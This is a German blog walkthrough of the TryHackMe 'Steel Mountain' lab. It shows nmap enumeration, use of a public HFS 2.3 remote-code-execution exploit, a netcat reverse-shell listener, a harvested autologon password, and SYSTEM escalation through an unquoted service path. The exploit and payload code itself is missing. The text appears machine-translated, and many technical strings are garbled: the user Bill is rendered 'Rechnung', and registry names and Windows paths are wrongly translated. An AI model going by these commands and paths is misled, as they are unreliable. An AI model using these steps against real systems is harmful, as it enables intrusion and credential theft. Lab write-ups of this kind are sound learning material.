Intro
Hallo und willkommen zu meinem allerersten Bericht.
In letzter Zeit habe ich viel Zeit auf TryHackMe verbracht; es ist eine wirklich fesselnde Plattform, auf der man lernen und gleichzeitig seine Hacking-Fähigkeiten üben kann. Anstatt Befehle und Theorien zu posten, habe ich mich entschlossen, Aufsätze zu verfassen, da dies einen viel größeren Nutzen bringt. Fangen wir also an. Hier ist ein Link zu der Box.
Steel Mountain ist eine Windows-Maschine von TryHackMe, die auf der Fernsehserie Mr. Robot basiert (meine Lieblingsserie). Die offizielle Komplettlösung wird mit Metasploit bereitgestellt, was das Rooten ziemlich einfach macht. Heute werden wir jedoch alles manuell durchführen, da Sie bei der OSCP-Prüfung keine Auto-Exploit-Tools verwenden können.
Auf diese Weise verstehen Sie, wie alles hinter den Kulissen funktioniert. Wenn Sie also mit Skripten, die alles automatisch erledigen, nicht weiterkommen, können Sie auf die manuelle Vorgehensweise zurückgreifen. Ich habe die Methodik einfach gehalten: Enumeration, Exploitation & Privilege Escalation.
Aufzählung
Durchführung eines Nmap-Scans:
┌──(kali㉿kali)-[~] └─$ nmap -A -Pn -v $IP
PORT ZUSTAND SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 | http-methods: | Unterstützte Methoden: OPTIONS TRACE GET HEAD POST |_ Potenziell riskante Methoden: TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: Die Website hat keinen Titel (text/html). 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 3389/tcp open ssl/ms-wbt-server? | ssl-zertifikat: Betreff: commonName=steelmountain | Emittent: commonName=steelmountain | Typ des öffentlichen Schlüssels: rsa | Öffentlicher Schlüssel Bits: 2048 | Signatur-Algorithmus: sha1WithRSAEncryption | Nicht gültig vor: 2020-10-11T19:04:29 | Nicht gültig nach: 2021-04-12T19:04:29 | MD5: cf4c 483f 7654 c778 e6b9 0144 1de0 18c9 |_SHA-1: ed4f 6cac 8059 d465 9e7b 7730 8ac4 56a4 67df d29c |_ssl-date: 2021-02-05T15:22:17+00:00; -1s ab Scanner-Zeit. 8080/tcp open http HttpFileServer httpd 2.3 |_http-favicon: Unbekanntes Favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1 | http-methods: |_ Unterstützte Methoden: GET HEAD POST |_http-server-header: HFS 2.3 |_http-title: HFS / 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open msrpc Microsoft Windows RPC Service-Informationen: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Ergebnisse des Host-Skripts: |_clock-skew: Mittelwert: -1s, Abweichung: 0s, Median: -1s | nbstat: NetBIOS-Name: STEELMOUNTAIN, NetBIOS-Benutzer:
Ich mag es, das Flag -v für die Ausführlichkeit mit einzubeziehen. Wenn der Scan weiterläuft und mir einige Ergebnisse liefert, kann ich nach etwas Interessantem Ausschau halten. Auf Port 80 finden wir einen Microsoft-Webserver, der ein zufälliges Bild von jemandem aus der Serie Mr. Robot enthält.
Der Einsatz von Dirbuster bringt uns nichts Interessantes.
Wenn wir den Webserver an Port 8080 untersuchen, finden wir einen http-Dateiserver mit der Version 2.3, links unten sehen wir „Serverinformationen“, die einen Link zur Website des Anbieters enthalten:
![]()
Ausbeutung
Lassen Sie uns prüfen, ob diese Version des Webservers anfällig ist:
----------------------------------------------------------------------------------------- --------------------------------- Exploit-Titel | Pfad ----------------------------------------------------------------------------------------- --------------------------------- Rejetto HttpFileServer 2.3.x - Remote Command Execution (3) | windows/webapps/49125.py ----------------------------------------------------------------------------------------- --------------------------------- Shellcodes: Keine Ergebnisse
Kopieren Sie den Exploit in einen lokalen Pfad und überprüfen Sie seine Verwendung. Nach der Lektüre brauchen wir eine Reverse-Shell-Payload, ich werde Powershell verwenden, da ich es nicht viel getestet habe. Im Folgenden finden Sie den Code und stellen Sie sicher, dass Sie die IP- und Port-Werte mit Ihren eigenen Werten ändern.
Nach der Konfiguration der Nutzlast ist es an der Zeit, unseren Netcat-Listener (mit sudo, wenn der Port kleiner als 1023 ist) und unseren HTTP-Server zu starten, um das Reverse-Shell-Binary auf das Ziel herunterzuladen und auszuführen.
┌──(kali㉿kali)-[~] └─$ sudo nc -nlvp 443 listening on [any] 443 ... ┌──(kali㉿kali)-[~] └─$ python3 -m http.server 5300
Nachdem wir nun alles eingerichtet haben, ist es an der Zeit, unseren Exploit auszuführen und die Shell mit unserem Listener abzufangen (dieser Einzeiler läuft im Speicher der Powershell):
Privilegieneskalation
Wir sind jetzt drin, das heißt, es ist Zeit für eine weitere Aufzählung, wir müssen Schwachstellen finden und verwundbare Konfigurationen identifizieren. Ich beginne immer damit, herauszufinden, wer ich bin und was meine Privilegien sind.
whoami
Die Umgehung der Zugriffsprüfung bedeutet, dass wir nur bestimmte Dateien in bestimmten Ordnern anzeigen können, ohne deren Inhalt auflisten zu können. Wir können nur zu den Dateien „durchblättern“, auf die wir zuvor vom Administrator oder vom System Zugriff erhalten haben.
Andere (versteckte) Benutzer
Sehen wir uns die anderen vorhandenen Benutzer im System an, die -Force
können wir auch die versteckten Dateien sehen:
Alle Benutzer in der Gruppe „Administratoren
Wir finden keinen der Benutzer in der Gruppe „Administratoren“.
Prüfen wir Winlogon auf gespeicherte Anmeldedaten
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\AktuelleVersion\winlogon Userinit REG_SZ C:\Windows\system32\userinit.exe, LegalNoticeText REG_SZ Shell REG_SZ explorer.exe LegalNoticeCaption REG_SZ DebugServerBefehl REG_SZ nein ForceUnlockLogon REG_DWORD 0x0 BerichtBootOk REG_SZ 1 VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile AutoRestartShell REG_DWORD 0x1 Herunterfahren nach dem Herunterfahren REG_SZ 0 HerunterfahrenohneAnmeldung REG_SZ 0 Hintergrund REG_SZ 0 0 0 PreloadFontFile REG_SZ SC-Load.All KennwortAblaufWarnung REG_DWORD 0x5 CachedLogonsCount REG_SZ 10 WinStationsDisabled REG_SZ 0 PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16} DisableCAD REG_DWORD 0x1 scremoveoption REG_SZ 0 Abschalt-Flags REG_DWORD 0x7 AutoLogonSID REG_SZ S-1-5-21-3029548963-3893655183-1231094572-1001 LastUsedUsername REG_SZ Rechnung Standard-Benutzername REG_SZ Rechnung StandardKennwort REG_SZ PMBAf5KhZAxVhvqb AutoAdminLogon REG_SZ 1 PS C:\Benutzer\Rechnung\Downloads> Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Standard*"
StandardBenutzername StandardPasswort --------------- --------------- Rechnung PMBAf5KhZAxVhvqb
Wir haben Bills Passwort gefunden: PMBAf5KhZAxVhvqb
Obwohl wir einen offenen RDP-Port (3389) haben, konnte ich keine Verbindung herstellen, ich weiß nicht warum.
Tipp: HKLM-Schlüssel werden (falls erforderlich) bei jedem Systemstart ausgeführt, während HKCU-Schlüssel nur ausgeführt werden, wenn sich ein bestimmter Benutzer am System anmeldet.
Prüfen Sie auf schwache Ordnerberechtigungen
Mit der von der offiziellen Microsoft-Website heruntergeladenen Datei accesschk.exe finden wir alle schwachen Ordnerberechtigungen pro Laufwerk.
Website
. Sie können Ihren Apache-Server oder einen smb-Server für die Übertragung verwenden. (dauerte ca. 1 Minute, haben Sie Geduld)
RW C:\ RW C:\ProgramData\Amazon RW C:\ProgramData\IObit RW C:\ProgramData\Oracle RW C:\ProgramData\ProductData RW C:\ProgramData\{FD6F83C0-EC70-4581-8361-C70CD1AA4B98} RW C:\ProgrammDaten\Amazon\EC2-Windows RW C:\ProgrammDaten\Amazon\Ec2Config RW C:\ProgrammDaten\Amazon\SSM RW C:\ProgrammDaten\Amazon\EC2-Windows\Launch RW C:\ProgrammDaten\Amazon\EC2-Windows\Launch\Config RW C:\ProgrammDaten\Amazon\EC2-Windows\Launch\Module RW C:\ProgrammDaten\Amazon\EC2-Windows\Launch\Scripts RW C:\ProgrammDaten\Amazon\EC2-Windows\Launch\Einstellungen RW C:\ProgrammDaten\Amazon\EC2-Windows\Launch\Sysprep RW C:\ProgrammDaten\Amazon\EC2-Windows\Launch\Module\Scripts RW C:\ProgrammDaten\Amazon\Ec2Config\Logs RW C:\ProgrammDaten\Amazon\Ec2Config\Monitor RW C:\ProgrammDaten\Amazon\SSM\InstanceData RW C:\Programme\Daten\Amazon\SSM\Logs RW C:\ProgrammDaten\IObit\Advanced SystemCare RW C:\ProgramData\IObit\ASCDownloader RW C:\ProgramData\IObit\IObit Uninstaller RW C:\ProgrammDaten\IObit\IObitRtt RW C:\ProgrammDaten\IObit\Erweiterte Systempflege\Homepage-Schutz RW C:\ProgrammDaten\IObit\Erweiterte Systempflege\smBootTime RW C:\ProgrammDaten\IObit\Erweiterte Systempflege\Startup Manager RW C:\Programmdaten\IObit\IObit Uninstaller\Datenbank ... ----------------- -d Nur Verzeichnisse oder Schlüssel der obersten Ebene verarbeiten -q Banner auslassen -s Rekursion -u Fehler unterdrücken -v Verbose (beinhaltet Windows Vista Integrity Level) -w Nur Objekte anzeigen, die Schreibzugriff haben
Die IObit-Software erregt sofort meine Aufmerksamkeit, weil sie ungewöhnlich ist (nachdem man einige Standardeinstellungen gesehen hat, gewöhnt man sich daran). Erneute Suche nach schwachen Dateiberechtigungen mit „
.\accesschk.exe -uwqs Users c:\
„. führt zu den gleichen Ergebnissen.
Prüfung auf laufende Prozesse/Dienste
Bild Name PID Dienste ========================= ======== ============================================ ... services.exe 640 N/A lsass.exe 648 SamSs svchost.exe 704 BrokerInfrastructure, DcomLaunch, LSM, PlugPlay, Leistung, SystemEventsBroker svchost.exe 732 RpcEptMapper, RpcSs ASCService.exe 824 AdvancedSystemCareService9 dwm.exe 836 N/A svchost.exe 948 Dhcp, EventLog, lmhosts, Wcmsvc ...
Suche nach dem Prozesseigentümer des Dienstes
Dieser Einzeiler gibt den Prozesseigentümer ohne Administratorrechte zurück. Wenn unter Eigentümer etwas leer ist, läuft es wahrscheinlich als SYSTEM, NETZWERKDIENST oder LOKALER DIENST.
Name Handle Besitzer ---- ------ ----- System Leerlauf Prozess 0 System 4 smss.exe 360 csrss.exe 492 csrss.exe 544 wininit.exe 572 winlogon.exe 580 services.exe 640 lsass.exe 648 ASCService.exe 824 dwm.exe 836 spoolsv.exe 1208 amazon-ssm-agent.exe 1252 LiteAgent.exe 1324 LiveUpdate.exe 1452 Ec2Config.exe 1664 WmiPrvSE.exe 2368 taskhostex.exe 2628 Rechnung explorer.exe 2692 Rechnung hfs.exe 2504 Rechnung msdtc.exe 3488 powershell.exe 3636 Rechnung powershell.exe 3660 Rechnung conhost.exe 3668 Rechnung conhost.exe 3692 Rechnung
Abfrage des Dienstes
Wir haben AdvancedSystemCareService fast bei jeder Überprüfung gesehen, lassen Sie uns den Dienst abfragen, um seine Konfiguration zu überprüfen:
[SC] QueryServiceConfig SUCCESS SERVICE_NAME: AdvancedSystemCareService9 TYP : 110 WIN32_OWN_PROCESS (interaktiv) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe LOAD_ORDER_GROUP : System reserviert TAG : 1 DISPLAY_NAME : Fortgeschrittener SystemCare-Dienst 9 ABHÄNGIGKEITEN : DIENST_START_NAME : LokalesSystem
Der binäre Pfadname ist nicht in Anführungszeichen gesetzt und enthält Leerzeichen. Windows wird also zuerst versuchen, Advanced.exe vor der eigentlichen ausführbaren Datei auszuführen. Daher müssen wir unsere Nutzlast in C:\Programme (x86)\IObit\ platzieren und sie in Advanced.exe umbenennen. Starten Sie anschließend den Dienst neu, da er derzeit wie oben gezeigt ausgeführt wird. Wir haben auch bestätigt, dass wir mit accesschk.exe Lese- und Schreibzugriff (RW) auf den oben genannten Ordner haben.
Wir erstellen unsere zweite Reverse-Shell-Nutzlast mit msfvenom, nennen sie Advanced.exe, übertragen sie mit certutil.exe auf den Zielcomputer und starten einen Listener auf dem angegebenen Port. Stoppen Sie den Dienst, stellen Sie sicher, dass er mit Get-Service gestoppt wurde und starten Sie ihn erneut:
Jetzt sollten Sie eine Shell als SYSTEM haben.
0 Kommentare